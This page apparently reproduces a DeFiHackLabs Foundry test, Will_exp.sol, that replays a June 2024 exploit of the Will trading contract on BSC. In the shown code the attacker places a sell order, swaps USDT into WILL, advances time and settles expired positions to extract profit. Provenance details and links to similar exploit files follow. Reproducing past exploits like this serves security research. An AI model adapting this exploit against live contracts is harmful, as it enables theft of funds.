Public reproduction file
src/test/2024-06/Will_exp.sol
Public reproduction file for dataset entry Will.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// Profit : ~52777 USD8// Attacker: https://bscscan.com/address/0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e9// Attack Contract: https://bscscan.com/address/0x63b4de190c35f900bb7adf1a13d66fb1f0d624a1#code10// Actually there are 2 steps11// TX1 : https://app.blocksec.com/explorer/tx/bsc/0xc12ccc3bdaf3f0ec1efa09d089a0c1dbad05519e1eb0fa6475ffcc6317cbde4d12// TX2 :https://app.blocksec.com/explorer/tx/bsc/0xefe58a14fc0022872262678b358aaae64a26fe2389d09093eb14752ea99415e916interface Trading {17 function placeSellOrder(uint256 usdtAmount, uint256 margin, uint256 minUsdtReceived) external;18 function updateExpiredOrders() external;19 function settleExpiredPositions(20 uint256 minTokensToReceive21 ) external;22}24contract ContractTest is Test {25 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));26 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);27 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);28 IERC20 will = IERC20(0xe38593e7F4f2411E0C0aB74589A7209681ab4B1d);29 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);30 Trading trading = Trading(0x566777eD780dbbe17c130AE97b9FbC0A3Ab829DF);32 function setUp() external {33 cheats.createSelectFork("bsc", 39_979_796);34 deal(address(USDT), address(this), 180_000 ether);35 }37 function testExploit() external {38 emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);39 attack();40 emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);41 }43 function attack() public {44 USDT.approve(address(trading), type(uint256).max);45 trading.placeSellOrder(71_000 ether, 0, 0);46 swap_token_to_token(address(USDT), address(will), 88_000 ether);47 /////step---248 vm.warp(block.timestamp + 20);49 trading.updateExpiredOrders();50 trading.settleExpiredPositions(0);51 uint256 willamount = will.balanceOf(address(this));52 swap_token_to_token(address(will), address(USDT), willamount);53 }55 function swap_token_to_token(address a, address b, uint256 amount) internal {56 IERC20(a).approve(address(router), amount);57 address[] memory path = new address[](2);58 path[0] = address(a);59 path[1] = address(b);60 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);61 }62}Analysis
Dataset entry
Public Foundry test for “Will” (2024-06-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-06/APEMAGA_exp.solSame month in the dataset · 66 lines
- src/test/2024-06/Bazaar_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/Crb2_exp.solSame month in the dataset · 101 lines
- src/test/2024-06/Dyson_money_exp.solSame month in the dataset · 108 lines
- src/test/2024-06/INcufi_exp.solSame month in the dataset · 208 lines
- src/test/2024-06/JokInTheBox_exp.solSame month in the dataset · 70 lines
- src/test/2024-06/MineSTM_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/NCD_exp.solSame month in the dataset · 112 lines
- src/test/2024-06/SteamSwap_exp.solSame month in the dataset · 77 lines
- src/test/2024-06/UwuLend_First_exp.solSame month in the dataset · 620 lines
- src/test/2024-06/Velocore_exp.solSame month in the dataset · 159 lines
- src/test/2024-06/WIFCOIN_ETH_exp.solSame month in the dataset · 62 lines
- src/test/2024-06/YYS_exp.solSame month in the dataset · 79 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e
- Attack Contract
0x63b4de190c35f900bb7adf1a13d66fb1f0d624a1
File record
- Name
- Will
- Path
- src/test/2024-06/Will_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9ac250e2cff729e9c539c1632d48839d83276d8e
- Language
- Solidity
- Size
- 63 lines
- Date
- 2024-06-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-06/Will_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9ac250e2cff729e9c539c1632d48839d83276d8e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.